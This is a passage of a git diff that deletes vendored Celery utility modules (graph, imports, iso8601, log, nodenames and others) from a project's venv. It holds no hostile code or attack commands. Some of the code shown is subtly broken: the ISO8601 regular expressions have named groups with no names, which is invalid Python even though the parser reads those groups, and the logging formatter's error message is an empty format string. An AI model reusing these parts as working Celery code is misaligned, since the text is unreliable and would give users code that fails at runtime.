Like :func:`operator.itemgetter` but return :const:`None` on missing - attributes instead of raising :exc:`AttributeError`. - """ - return lambda obj: {attr: getattr(obj, attr, None) for attr in attrs} - - -def uniq(it): - """Return all unique elements in ``it``, preserving order.""" - seen = set() - return (seen.add(obj) or obj for obj in it if obj not in seen) - - -def lookahead(it): - """Yield pairs of (current, next) items in `it`. - - `next` is None if `current` is the last item. - Example: - >>> list(lookahead(x for x in range(6))) - [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, None)] - """ - a, b = tee(it) - next(b, None) - return zip_longest(a, b) - - -def regen(it): - """Convert iterator to an object that can be consumed multiple times. - - ``Regen`` takes any iterable, and if the object is an - generator it will cache the evaluated list on first access, - so that the generator can be "consumed" multiple times. - """ - if isinstance(it, (list, tuple)): - return it - return _regen(it) - - -class _regen(UserList, list): - # must be subclass of list so that json can encode. - - def __init__(self, it): - # pylint: disable=super-init-not-called - # UserList creates a new list and sets .data, so we don't - # want to call init here. - self.__it = it - self.__consumed = [] - self.__done = False - - def __reduce__(self): - return list, (self.data,) - - def map(self, func): - self.__consumed = [func(el) for el in self.__consumed] - self.__it = map(func, self.__it) - - def __length_hint__(self): - return self.__it.__length_hint__() - - def __lookahead_consume(self, limit=None): - if not self.__done and (limit is None or limit > 0): - it = iter(self.__it) - try: - now = next(it) - except StopIteration: - return - self.__consumed.append(now) - # Maintain a single look-ahead to ensure we set `__done` when the - # underlying iterator gets exhausted - while not self.__done: - try: - next_ = next(it) - self.__consumed.append(next_) - except StopIteration: - self.__done = True - break - finally: - yield now - now = next_ - # We can break out when `limit` is exhausted - if limit is not None: - limit -= 1 - if limit <= 0: - break - - def __iter__(self): - yield from self.__consumed - yield from self.__lookahead_consume() - - def __getitem__(self, index): - if index < 0: - return self.data[index] - # Consume elements up to the desired index prior to attempting to - # access it from within `__consumed` - consume_count = index - len(self.__consumed) + 1 - for _ in self.__lookahead_consume(limit=consume_count): - pass - return self.__consumed[index] - - def __bool__(self): - if len(self.__consumed): - return True - - try: - next(iter(self)) - except StopIteration: - return False - else: - return True - - @property - def data(self): - if not self.__done: - self.__consumed.extend(self.__it) - self.__done = True - return self.__consumed - - def __repr__(self): - return "<{}: [{}{}]>".format( - self.__class__.__name__, - ", ".join(repr(e) for e in self.__consumed), - "..." if not self.__done else "", - ) - - -def _argsfromspec(spec, replace_defaults=True): - if spec.defaults: - split = len(spec.defaults) - defaults = (list(range(len(spec.defaults))) if replace_defaults - else spec.defaults) - positional = spec.args[:-split] - optional = list(zip(spec.args[-split:], defaults)) - else: - positional, optional = spec.args, [] - - varargs = spec.varargs - varkw = spec.varkw - if spec.kwonlydefaults: - kwonlyargs = set(spec.kwonlyargs) - set(spec.kwonlydefaults.keys()) - if replace_defaults: - kwonlyargs_optional = [ - (kw, i) for i, kw in enumerate(spec.kwonlydefaults.keys()) - ] - else: - kwonlyargs_optional = list(spec.kwonlydefaults.items()) - else: - kwonlyargs, kwonlyargs_optional = spec.kwonlyargs, [] - - return ', '.join(filter(None, [ - ', '.join(positional), - ', '.join(f'{k}={v}' for k, v in optional), - f'*{varargs}' if varargs else None, - '*' if (kwonlyargs or kwonlyargs_optional) and not varargs else None, - ', '.join(kwonlyargs) if kwonlyargs else None, - ', '.join(f'{k}="{v}"' for k, v in kwonlyargs_optional), - f'**{varkw}' if varkw else None, - ])) - - -if sys.version_info >= (3, 14): - import annotationlib as _annotationlib - - def _getfullargspec(fun): - # In Python 3.14+, inspect.getfullargspec evaluates annotations by default - # (PEP 649), raising NameError for TYPE_CHECKING-only types. We don't need - # annotations here, so use Format.STRING to avoid evaluation. - # For bound methods, use __func__ so that 'self' is included in args, - # matching the behaviour of getfullargspec on older Python versions. - target = getattr(fun, '__func__', fun) - sig = inspect.signature(target, annotation_format=_annotationlib.Format.STRING) - args, varargs, varkw, defaults, kwonlyargs, kwonlydefaults = [], None, None, [], [], {} - for name, param in sig.parameters.items(): - kind = param.kind - if kind in (param.POSITIONAL_ONLY, param.POSITIONAL_OR_KEYWORD): - args.append(name) - if param.default is not param.empty: - defaults.append(param.default) - elif kind == param.VAR_POSITIONAL: - varargs = name - elif kind == param.KEYWORD_ONLY: - kwonlyargs.append(name) - if param.default is not param.empty: - kwonlydefaults[name] = param.default - elif kind == param.VAR_KEYWORD: - varkw = name - return inspect.FullArgSpec( - args=args, - varargs=varargs, - varkw=varkw, - defaults=tuple(defaults) or None, - kwonlyargs=kwonlyargs, - kwonlydefaults=kwonlydefaults or None, - annotations={}, - ) -else: - _getfullargspec = inspect.getfullargspec - - -def head_from_fun(fun: Callable[..., Any], bound: bool = False) -> str: - """Generate signature function from actual function.""" - # we could use inspect.Signature here, but that implementation - # is very slow since it implements the argument checking - # in pure-Python. Instead we use exec to create a new function - # with an empty body, meaning it has the same performance as - # as just calling a function. - is_function = inspect.isfunction(fun) - is_callable = callable(fun) - is_cython = fun.__class__.__name__ == 'cython_function_or_method' - is_method = inspect.ismethod(fun) - - if not is_function and is_callable and not is_method and not is_cython: - name, fun = fun.__class__.__name__, fun.__call__ - else: - name = fun.__name__ - definition = FUNHEAD_TEMPLATE.format( - fun_name=name, - fun_args=_argsfromspec(_getfullargspec(fun)), - fun_value=1, - ) - logger.debug(definition) - namespace = {'__name__': fun.__module__} - # pylint: disable=exec-used - # Tasks are rarely, if ever, created at runtime - exec here is fine. - exec(definition, namespace) - result = namespace[name] - result._source = definition - if bound: - return partial(result, object()) - return result - - -def arity_greater(fun, n): - argspec = inspect.getfullargspec(fun) - return argspec.varargs or len(argspec.args) > n - - -def fun_takes_argument(name, fun, position=None): - spec = inspect.getfullargspec(fun) - return ( - spec.varkw or spec.varargs or - (len(spec.args) >= position if position else name in spec.args) - ) - - -def fun_accepts_kwargs(fun): - """Return true if function accepts arbitrary keyword arguments.""" - # inspect.signature evaluates annotations in Python 3.14+ (PEP 649), - # which raises NameError for types only imported under TYPE_CHECKING. - # Check co_flags directly to avoid touching annotations entirely. - code = getattr(fun, '__code__', None) - if code is not None: - return bool(code.co_flags & inspect.CO_VARKEYWORDS) - return any( - p for p in inspect.signature(fun).parameters.values() - if p.kind == p.VAR_KEYWORD - ) - - -def maybe(typ, val): - """Call typ on value if val is defined.""" - return typ(val) if val is not None else val - - -def seq_concat_item(seq, item): - """Return copy of sequence seq with item added. - - Returns: - Sequence: if seq is a tuple, the result will be a tuple, - otherwise it depends on the implementation of ``__add__``. - """ - return seq + (item,) if isinstance(seq, tuple) else seq + [item] - - -def seq_concat_seq(a, b): - """Concatenate two sequences: ``a + b``. - - Returns: - Sequence: The return value will depend on the largest sequence - - if b is larger and is a tuple, the return value will be a tuple. - - if a is larger and is a list, the return value will be a list, - """ - # find the type of the largest sequence - prefer = type(max([a, b], key=len)) - # convert the smallest list to the type of the largest sequence. - if not isinstance(a, prefer): - a = prefer(a) - if not isinstance(b, prefer): - b = prefer(b) - return a + b - - -def is_numeric_value(value): - return isinstance(value, (int, float)) and not isinstance(value, bool) diff --git a/venv/Lib/site-packages/celery/utils/graph.py b/venv/Lib/site-packages/celery/utils/graph.py deleted file mode 100644 index c1b0b55b4553971c4bcecce84393ab7561f451c4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/graph.py +++ /dev/null @@ -1,309 +0,0 @@ -"""Dependency graph implementation.""" -from collections import Counter -from textwrap import dedent - -from kombu.utils.encoding import bytes_to_str, safe_str - -__all__ = ('DOT', 'CycleError', 'DependencyGraph', 'GraphFormatter') - - -class DOT: - """Constants related to the dot format.""" - - HEAD = dedent(""" - {IN}{type} {id} {{ - {INp}graph [{attrs}] - """) - ATTR = '{name}={value}' - NODE = '{INp}"{0}" [{attrs}]' - EDGE = '{INp}"{0}" {dir} "{1}" [{attrs}]' - ATTRSEP = ', ' - DIRS = {'graph': '--', 'digraph': '->'} - TAIL = '{IN}}}' - - -class CycleError(Exception): - """A cycle was detected in an acyclic graph.""" - - -class DependencyGraph: - """A directed acyclic graph of objects and their dependencies. - - Supports a robust topological sort - to detect the order in which they must be handled. - - Takes an optional iterator of ``(obj, dependencies)`` - tuples to build the graph from. - - Warning: - Does not support cycle detection. - """ - - def __init__(self, it=None, formatter=None): - self.formatter = formatter or GraphFormatter() - self.adjacent = {} - if it is not None: - self.update(it) - - def add_arc(self, obj): - """Add an object to the graph.""" - self.adjacent.setdefault(obj, []) - - def add_edge(self, A, B): - """Add an edge from object ``A`` to object ``B``. - - I.e. ``A`` depends on ``B``. - """ - self[A].append(B) - - def connect(self, graph): - """Add nodes from another graph.""" - self.adjacent.update(graph.adjacent) - - def topsort(self): - """Sort the graph topologically. - - Returns: - List: of objects in the order in which they must be handled. - """ - graph = DependencyGraph() - components = self._tarjan72() - - NC = { - node: component for component in components for node in component - } - for component in components: - graph.add_arc(component) - for node in self: - node_c = NC[node] - for successor in self[node]: - successor_c = NC[successor] - if node_c != successor_c: - graph.add_edge(node_c, successor_c) - return [t[0] for t in graph._khan62()] - - def valency_of(self, obj): - """Return the valency (degree) of a vertex in the graph.""" - try: - l = [len(self[obj])] - except KeyError: - return 0 - for node in self[obj]: - l.append(self.valency_of(node)) - return sum(l) - - def update(self, it): - """Update graph with data from a list of ``(obj, deps)`` tuples.""" - tups = list(it) - for obj, _ in tups: - self.add_arc(obj) - for obj, deps in tups: - for dep in deps: - self.add_edge(obj, dep) - - def edges(self): - """Return generator that yields for all edges in the graph.""" - return (obj for obj, adj in self.items() if adj) - - def _khan62(self): - """Perform Khan's simple topological sort algorithm from '62. - - See https://en.wikipedia.org/wiki/Topological_sorting - """ - count = Counter() - result = [] - - for node in self: - for successor in self[node]: - count[successor] += 1 - ready = [node for node in self if not count[node]] - - while ready: - node = ready.pop() - result.append(node) - - for successor in self[node]: - count[successor] -= 1 - if count[successor] == 0: - ready.append(successor) - result.reverse() - return result - - def _tarjan72(self): - """Perform Tarjan's algorithm to find strongly connected components. - - See Also: - :wikipedia:`Tarjan%27s_strongly_connected_components_algorithm` - """ - result, stack, low = [], [], {} - - def visit(node): - if node in low: - return - num = len(low) - low[node] = num - stack_pos = len(stack) - stack.append(node) - - for successor in self[node]: - visit(successor) - low[node] = min(low[node], low[successor]) - - if num == low[node]: - component = tuple(stack[stack_pos:]) - stack[stack_pos:] = [] - result.append(component) - for item in component: - low[item] = len(self) - - for node in self: - visit(node) - - return result - - def to_dot(self, fh, formatter=None): - """Convert the graph to DOT format. - - Arguments: - fh (IO): A file, or a file-like object to write the graph to. - formatter (celery.utils.graph.GraphFormatter): Custom graph - formatter to use. - """ - seen = set() - draw = formatter or self.formatter - - def P(s): - print(bytes_to_str(s), file=fh) - - def if_not_seen(fun, obj): - if draw.label(obj) not in seen: - P(fun(obj)) - seen.add(draw.label(obj)) - - P(draw.head()) - for obj, adjacent in self.items(): - if not adjacent: - if_not_seen(draw.terminal_node, obj) - for req in adjacent: - if_not_seen(draw.node, obj) - P(draw.edge(obj, req)) - P(draw.tail()) - - def format(self, obj): - return self.formatter(obj) if self.formatter else obj - - def __iter__(self): - return iter(self.adjacent) - - def __getitem__(self, node): - return self.adjacent[node] - - def __len__(self): - return len(self.adjacent) - - def __contains__(self, obj): - return obj in self.adjacent - - def _iterate_items(self): - return self.adjacent.items() - items = iteritems = _iterate_items - - def __repr__(self): - return '\n'.join(self.repr_node(N) for N in self) - - def repr_node(self, obj, level=1, fmt='{0}({1})'): - output = [fmt.format(obj, self.valency_of(obj))] - if obj in self: - for other in self[obj]: - d = fmt.format(other, self.valency_of(other)) - output.append(' ' * level + d) - output.extend(self.repr_node(other, level + 1).split('\n')[1:]) - return '\n'.join(output) - - -class GraphFormatter: - """Format dependency graphs.""" - - _attr = DOT.ATTR.strip() - _node = DOT.NODE.strip() - _edge = DOT.EDGE.strip() - _head = DOT.HEAD.strip() - _tail = DOT.TAIL.strip() - _attrsep = DOT.ATTRSEP - _dirs = dict(DOT.DIRS) - - scheme = { - 'shape': 'box', - 'arrowhead': 'vee', - 'style': 'filled', - 'fontname': 'HelveticaNeue', - } - edge_scheme = { - 'color': 'darkseagreen4', - 'arrowcolor': 'black', - 'arrowsize': 0.7, - } - node_scheme = {'fillcolor': 'palegreen3', 'color': 'palegreen4'} - term_scheme = {'fillcolor': 'palegreen1', 'color': 'palegreen2'} - graph_scheme = {'bgcolor': 'mintcream'} - - def __init__(self, root=None, type=None, id=None, - indent=0, inw=' ' * 4, **scheme): - self.id = id or 'dependencies' - self.root = root - self.type = type or 'digraph' - self.direction = self._dirs[self.type] - self.IN = inw * (indent or 0) - self.INp = self.IN + inw - self.scheme = dict(self.scheme, **scheme) - self.graph_scheme = dict(self.graph_scheme, root=self.label(self.root)) - - def attr(self, name, value): - value = f'"{value}"' - return self.FMT(self._attr, name=name, value=value) - - def attrs(self, d, scheme=None): - d = dict(self.scheme, **dict(scheme, **d or {}) if scheme else d) - return self._attrsep.join( - safe_str(self.attr(k, v)) for k, v in d.items() - ) - - def head(self, **attrs): - return self.FMT( - self._head, id=self.id, type=self.type, - attrs=self.attrs(attrs, self.graph_scheme), - ) - - def tail(self): - return self.FMT(self._tail) - - def label(self, obj): - return obj - - def node(self, obj, **attrs): - return self.draw_node(obj, self.node_scheme, attrs) - - def terminal_node(self, obj, **attrs): - return self.draw_node(obj, self.term_scheme, attrs) - - def edge(self, a, b, **attrs): - return self.draw_edge(a, b, **attrs) - - def _enc(self, s): - return s.encode('utf-8', 'ignore') - - def FMT(self, fmt, *args, **kwargs): - return self._enc(fmt.format( - *args, **dict(kwargs, IN=self.IN, INp=self.INp) - )) - - def draw_edge(self, a, b, scheme=None, attrs=None): - return self.FMT( - self._edge, self.label(a), self.label(b), - dir=self.direction, attrs=self.attrs(attrs, self.edge_scheme), - ) - - def draw_node(self, obj, scheme=None, attrs=None): - return self.FMT( - self._node, self.label(obj), attrs=self.attrs(attrs, scheme), - ) diff --git a/venv/Lib/site-packages/celery/utils/imports.py b/venv/Lib/site-packages/celery/utils/imports.py deleted file mode 100644 index da86a58c7ecc045e2df85b128608f811b12c4d95..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/imports.py +++ /dev/null @@ -1,164 +0,0 @@ -"""Utilities related to importing modules and symbols by name.""" -import os -import sys -import warnings -from contextlib import contextmanager -from importlib import import_module, reload -from importlib.metadata import entry_points - -from kombu.utils.imports import symbol_by_name - -#: Billiard sets this when execv is enabled. -#: We use it to find out the name of the original ``__main__`` -#: module, so that we can properly rewrite the name of the -#: task to be that of ``App.main``. -MP_MAIN_FILE = os.environ.get('MP_MAIN_FILE') - -__all__ = ( - 'NotAPackage', 'qualname', 'instantiate', 'symbol_by_name', - 'cwd_in_path', 'find_module', 'import_from_cwd', - 'reload_from_cwd', 'module_file', 'gen_task_name', -) - - -class NotAPackage(Exception): - """Raised when importing a package, but it's not a package.""" - - -def qualname(obj): - """Return object name.""" - if not hasattr(obj, '__name__') and hasattr(obj, '__class__'): - obj = obj.__class__ - q = getattr(obj, '__qualname__', None) - if '.' not in q: - q = '.'.join((obj.__module__, q)) - return q - - -def instantiate(name, *args, **kwargs): - """Instantiate class by name. - - See Also: - :func:`symbol_by_name`. - """ - return symbol_by_name(name)(*args, **kwargs) - - -@contextmanager -def cwd_in_path(): - """Context adding the current working directory to sys.path.""" - try: - cwd = os.getcwd() - except FileNotFoundError: - cwd = None - if not cwd: - yield - elif cwd in sys.path: - yield - else: - sys.path.insert(0, cwd) - try: - yield cwd - finally: - try: - sys.path.remove(cwd) - except ValueError: # pragma: no cover - pass - - -def find_module(module, path=None, imp=None): - """Version of :func:`imp.find_module` supporting dots.""" - if imp is None: - imp = import_module - with cwd_in_path(): - try: - return imp(module) - except ImportError: - # Raise a more specific error if the problem is that one of the - # dot-separated segments of the module name is not a package. - if '.' in module: - parts = module.split('.') - for i, part in enumerate(parts[:-1]): - package = '.'.join(parts[:i + 1]) - try: - mpart = imp(package) - except ImportError: - # Break out and re-raise the original ImportError - # instead. - break - try: - mpart.__path__ - except AttributeError: - raise NotAPackage(package) - raise - - -def import_from_cwd(module, imp=None, package=None): - """Import module, temporarily including modules in the current directory. - - Modules located in the current directory has - precedence over modules located in `sys.path`. - """ - if imp is None: - imp = import_module - with cwd_in_path(): - return imp(module, package=package) - - -def reload_from_cwd(module, reloader=None): - """Reload module (ensuring that CWD is in sys.path).""" - if reloader is None: - reloader = reload - with cwd_in_path(): - return reloader(module) - - -def module_file(module): - """Return the correct original file name of a module.""" - name = module.__file__ - return name[:-1] if name.endswith('.pyc') else name - - -def gen_task_name(app, name, module_name): - """Generate task name from name/module pair.""" - module_name = module_name or '__main__' - try: - module = sys.modules[module_name] - except KeyError: - # Fix for manage.py shell_plus (Issue #366) - module = None - - if module is not None: - module_name = module.__name__ - # - If the task module is used as the __main__ script - # - we need to rewrite the module part of the task name - # - to match App.main. - if MP_MAIN_FILE and module.__file__ == MP_MAIN_FILE: - # - see comment about :envvar:`MP_MAIN_FILE` above. - module_name = '__main__' - if module_name == '__main__' and app.main: - return '.'.join([app.main, name]) - return '.'.join(p for p in (module_name, name) if p) - - -def load_extension_class_names(namespace): - if sys.version_info >= (3, 10): - _entry_points = entry_points(group=namespace) - else: - try: - _entry_points = entry_points().get(namespace, []) - except AttributeError: - _entry_points = entry_points().select(group=namespace) - for ep in _entry_points: - yield ep.name, ep.value - - -def load_extension_classes(namespace): - for name, class_name in load_extension_class_names(namespace): - try: - cls = symbol_by_name(class_name) - except (ImportError, SyntaxError) as exc: - warnings.warn( - f'Cannot load {namespace} extension {class_name!r}: {exc!r}') - else: - yield name, cls diff --git a/venv/Lib/site-packages/celery/utils/iso8601.py b/venv/Lib/site-packages/celery/utils/iso8601.py deleted file mode 100644 index f878bec59e189659b587a2e4c7e1a020cdacb415..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/iso8601.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Parse ISO8601 dates. - -Originally taken from :pypi:`pyiso8601` -(https://bitbucket.org/micktwomey/pyiso8601) - -Modified to match the behavior of ``dateutil.parser``: - - - raise :exc:`ValueError` instead of ``ParseError`` - - return naive :class:`~datetime.datetime` by default - -This is the original License: - -Copyright (c) 2007 Michael Twomey - -Permission is hereby granted, free of charge, to any person obtaining a -copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sub-license, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be included -in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -""" -import re -from datetime import datetime, timedelta, timezone - -from celery.utils.deprecated import warn - -__all__ = ('parse_iso8601',) - -# Adapted from http://delete.me.uk/2005/03/iso8601.html -ISO8601_REGEX = re.compile( - r'(?P[0-9]{4})(-(?P[0-9]{1,2})(-(?P[0-9]{1,2})' - r'((?P.)(?P[0-9]{2}):(?P[0-9]{2})' - r'(:(?P[0-9]{2})(\.(?P[0-9]+))?)?' - r'(?PZ|(([-+])([0-9]{2}):([0-9]{2})))?)?)?)?' -) -TIMEZONE_REGEX = re.compile( - r'(?P[+-])(?P[0-9]{2}).(?P[0-9]{2})' -) - - -def parse_iso8601(datestring: str) -> datetime: - """Parse and convert ISO-8601 string to datetime.""" - warn("parse_iso8601", "v5.3", "v6", "datetime.datetime.fromisoformat or dateutil.parser.isoparse") - m = ISO8601_REGEX.match(datestring) - if not m: - raise ValueError('unable to parse date string %r' % datestring) - groups = m.groupdict() - tz = groups['timezone'] - if tz == 'Z': - tz = timezone(timedelta(0)) - elif tz: - m = TIMEZONE_REGEX.match(tz) - prefix, hours, minutes = m.groups() - hours, minutes = int(hours), int(minutes) - if prefix == '-': - hours = -hours - minutes = -minutes - tz = timezone(timedelta(minutes=minutes, hours=hours)) - return datetime( - int(groups['year']), int(groups['month']), - int(groups['day']), int(groups['hour'] or 0), - int(groups['minute'] or 0), int(groups['second'] or 0), - int(groups['fraction'] or 0), tz - ) diff --git a/venv/Lib/site-packages/celery/utils/log.py b/venv/Lib/site-packages/celery/utils/log.py deleted file mode 100644 index f67a3dd700cc134e50bee63272fb9b73219fb0b1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/log.py +++ /dev/null @@ -1,295 +0,0 @@ -"""Logging utilities.""" -import logging -import numbers -import os -import sys -import threading -import traceback -from contextlib import contextmanager -from typing import AnyStr, Sequence # noqa - -from kombu.log import LOG_LEVELS -from kombu.log import get_logger as _get_logger -from kombu.utils.encoding import safe_str - -from .term import colored - -__all__ = ( - 'ColorFormatter', 'LoggingProxy', 'base_logger', - 'set_in_sighandler', 'in_sighandler', 'get_logger', - 'get_task_logger', 'mlevel', - 'get_multiprocessing_logger', 'reset_multiprocessing_logger', 'LOG_LEVELS' -) - -_process_aware = False -_in_sighandler = False - -MP_LOG = os.environ.get('MP_LOG', False) - -RESERVED_LOGGER_NAMES = {'celery', 'celery.task'} - -# Sets up our logging hierarchy. -# -# Every logger in the celery package inherits from the "celery" -# logger, and every task logger inherits from the "celery.task" -# logger. -base_logger = logger = _get_logger('celery') - - -def set_in_sighandler(value): - """Set flag signifying that we're inside a signal handler.""" - global _in_sighandler - _in_sighandler = value - - -def iter_open_logger_fds(): - seen = set() - loggers = (list(logging.Logger.manager.loggerDict.values()) + - [logging.getLogger(None)]) - for l in loggers: - try: - for handler in l.handlers: - try: - if handler not in seen: # pragma: no cover - yield handler.stream - seen.add(handler) - except AttributeError: - pass - except AttributeError: # PlaceHolder does not have handlers - pass - - -@contextmanager -def in_sighandler(): - """Context that records that we are in a signal handler.""" - set_in_sighandler(True) - try: - yield - finally: - set_in_sighandler(False) - - -def logger_isa(l, p, max=1000): - this, seen = l, set() - for _ in range(max): - if this == p: - return True - else: - if this in seen: - raise RuntimeError( - f'Logger {l.name!r} parents recursive', - ) - seen.add(this) - this = this.parent - if not this: - break - else: # pragma: no cover - raise RuntimeError(f'Logger hierarchy exceeds {max}') - return False - - -def _using_logger_parent(parent_logger, logger_): - if not logger_isa(logger_, parent_logger): - logger_.parent = parent_logger - return logger_ - - -def get_logger(name): - """Get logger by name.""" - l = _get_logger(name) - if logging.root not in (l, l.parent) and l is not base_logger: - l = _using_logger_parent(base_logger, l) - return l - - -task_logger = get_logger('celery.task') -worker_logger = get_logger('celery.worker') - - -def get_task_logger(name): - """Get logger for task module by name.""" - if name in RESERVED_LOGGER_NAMES: - raise RuntimeError(f'Logger name {name!r} is reserved!') - return _using_logger_parent(task_logger, get_logger(name)) - - -def mlevel(level): - """Convert level name/int to log level.""" - if level and not isinstance(level, numbers.Integral): - return LOG_LEVELS[level.upper()] - return level - - -class ColorFormatter(logging.Formatter): - """Logging formatter that adds colors based on severity.""" - - #: Loglevel -> Color mapping. - COLORS = colored().names - colors = { - 'DEBUG': COLORS['blue'], - 'WARNING': COLORS['yellow'], - 'ERROR': COLORS['red'], - 'CRITICAL': COLORS['magenta'], - } - - def __init__(self, fmt=None, use_color=True): - super().__init__(fmt) - self.use_color = use_color - - def formatException(self, ei): - if ei and not isinstance(ei, tuple): - ei = sys.exc_info() - r = super().formatException(ei) - return r - - def format(self, record): - msg = super().format(record) - color = self.colors.get(record.levelname) - - # reset exception info later for other handlers... - einfo = sys.exc_info() if record.exc_info == 1 else record.exc_info - - if color and self.use_color: - try: - # safe_str will repr the color object - # and color will break on non-string objects - # so need to reorder calls based on type. - # Issue #427 - try: - if isinstance(msg, str): - return str(color(safe_str(msg))) - return safe_str(color(msg)) - except UnicodeDecodeError: # pragma: no cover - return safe_str(msg) # skip colors - except Exception as exc: # pylint: disable=broad-except - prev_msg, record.exc_info, record.msg = ( - record.msg, 1, ''.format( - type(msg), exc - ), - ) - try: - return super().format(record) - finally: - record.msg, record.exc_info = prev_msg, einfo - else: - return safe_str(msg) - - -class LoggingProxy: - """Forward file object to :class:`logging.Logger` instance. - - Arguments: - logger (~logging.Logger): Logger instance to forward to. - loglevel (int, str): Log level to use when logging messages. - """ - - mode = 'w' - name = None - closed = False - loglevel = logging.ERROR - _thread = threading.local() - - def __init__(self, logger, loglevel=None): - # pylint: disable=redefined-outer-name - # Note that the logger global is redefined here, be careful changing. - self.logger = logger - self.loglevel = mlevel(loglevel or self.logger.level or self.loglevel) - self._safewrap_handlers() - - def _safewrap_handlers(self): - # Make the logger handlers dump internal errors to - # :data:`sys.__stderr__` instead of :data:`sys.stderr` to circumvent - # infinite loops. - - def wrap_handler(handler): # pragma: no cover - - class WithSafeHandleError(logging.Handler): - - def handleError(self, record): - try: - traceback.print_exc(None, sys.__stderr__) - except OSError: - pass # see python issue 5971 - - handler.handleError = WithSafeHandleError().handleError - return [wrap_handler(h) for h in self.logger.handlers] - - def write(self, data): - # type: (AnyStr) -> int - """Write message to logging object.""" - if _in_sighandler: - safe_data = safe_str(data) - print(safe_data, file=sys.__stderr__) - return len(safe_data) - if getattr(self._thread, 'recurse_protection', False): - # Logger is logging back to this file, so stop recursing. - return 0 - if data and not self.closed: - self._thread.recurse_protection = True - try: - safe_data = safe_str(data).rstrip('\n') - if safe_data: - self.logger.log(self.loglevel, safe_data) - return len(safe_data) - finally: - self._thread.recurse_protection = False - return 0 - - def writelines(self, sequence): - # type: (Sequence[str]) -> None - """Write list of strings to file. - - The sequence can be any iterable object producing strings. - This is equivalent to calling :meth:`write` for each string. - """ - for part in sequence: - self.write(part) - - def flush(self): - # This object is not buffered so any :meth:`flush` - # requests are ignored. - pass - - def close(self): - # when the object is closed, no write requests are - # forwarded to the logging object anymore. - self.closed = True - - def isatty(self): - """Here for file support.""" - return False - - -def get_multiprocessing_logger(): - """Return the multiprocessing logger.""" - try: - from billiard import util - except ImportError: - pass - else: - return util.get_logger() - - -def reset_multiprocessing_logger(): - """Reset multiprocessing logging setup.""" - try: - from billiard import util - except ImportError: - pass - else: - if hasattr(util, '_logger'): # pragma: no cover - util._logger = None - - -def current_process(): - try: - from billiard import process - except ImportError: - pass - else: - return process.current_process() - - -def current_process_index(base=1): - index = getattr(current_process(), 'index', None) - return index + base if index is not None else index diff --git a/venv/Lib/site-packages/celery/utils/nodenames.py b/venv/Lib/site-packages/celery/utils/nodenames.py deleted file mode 100644 index 91509a467ab161ff6d9fe3a2e422e0dc7fe9e755..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/nodenames.py +++ /dev/null @@ -1,114 +0,0 @@ -"""Worker name utilities.""" -from __future__ import annotations - -import os -import socket -from functools import partial - -from kombu.entity import Exchange, Queue - -from .functional import memoize -from .text import simple_format - -#: Exchange for worker direct queues. -WORKER_DIRECT_EXCHANGE = Exchange('C.dq2') - -#: Format for worker direct queue names. -WORKER_DIRECT_QUEUE_FORMAT = '{hostname}.dq2' - -#: Separator for worker node name and hostname. -NODENAME_SEP = '@' - -NODENAME_DEFAULT = 'celery' - -gethostname = memoize(1, Cache=dict)(socket.gethostname) - -__all__ = ( - 'worker_direct', - 'gethostname', - 'nodename', - 'anon_nodename', - 'nodesplit', - 'default_nodename', - 'node_format', - 'host_format', -) - - -def worker_direct(hostname: str | Queue) -> Queue: - """Return the :class:`kombu.Queue` being a direct route to a worker. - - Arguments: - hostname (str, ~kombu.Queue): The fully qualified node name of - a worker (e.g., ``w1@example.com``). If passed a - :class:`kombu.Queue` instance it will simply return - that instead. - """ - if isinstance(hostname, Queue): - return hostname - return Queue( - WORKER_DIRECT_QUEUE_FORMAT.format(hostname=hostname), - WORKER_DIRECT_EXCHANGE, - hostname, - ) - - -def nodename(name: str, hostname: str) -> str: - """Create node name from name/hostname pair.""" - return NODENAME_SEP.join((name, hostname)) - - -def anon_nodename(hostname: str | None = None, prefix: str = 'gen') -> str: - """Return the nodename for this process (not a worker). - - This is used for e.g. the origin task message field. - """ - return nodename(''.join([prefix, str(os.getpid())]), hostname or gethostname()) - - -def nodesplit(name: str) -> tuple[None, str] | list[str]: - """Split node name into tuple of name/hostname.""" - parts = name.split(NODENAME_SEP, 1) - if len(parts) == 1: - return None, parts[0] - return parts - - -def default_nodename(hostname: str) -> str: - """Return the default nodename for this process.""" - name, host = nodesplit(hostname or '') - return nodename(name or NODENAME_DEFAULT, host or gethostname()) - - -def node_format(s: str, name: str, **extra: dict) -> str: - """Format worker node name (name@host.com).""" - shortname, host = nodesplit(name) - return host_format(s, host, shortname or NODENAME_DEFAULT, p=name, **extra) - - -def _fmt_process_index(prefix: str = '', default: str = '0') -> str: - from .log import current_process_index - - index = current_process_index() - return f'{prefix}{index}' if index else default - - -_fmt_process_index_with_prefix = partial(_fmt_process_index, '-', '') - - -def host_format(s: str, host: str | None = None, name: str | None = None, **extra: dict) -> str: - """Format host %x abbreviations.""" - host = host or gethostname() - hname, _, domain = host.partition('.') - name = name or hname - keys = dict( - { - 'h': host, - 'n': name, - 'd': domain, - 'i': _fmt_process_index, - 'I': _fmt_process_index_with_prefix, - }, - **extra, - ) - return simple_format(s, keys) diff --git a/venv/Lib/site-packages/celery/utils/objects.py b/venv/Lib/site-packages/celery/utils/objects.py deleted file mode 100644 index 56e96ffde8563437c4c87ab0556978ca4a875888..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/utils/objects.py +++ /dev/null @@ 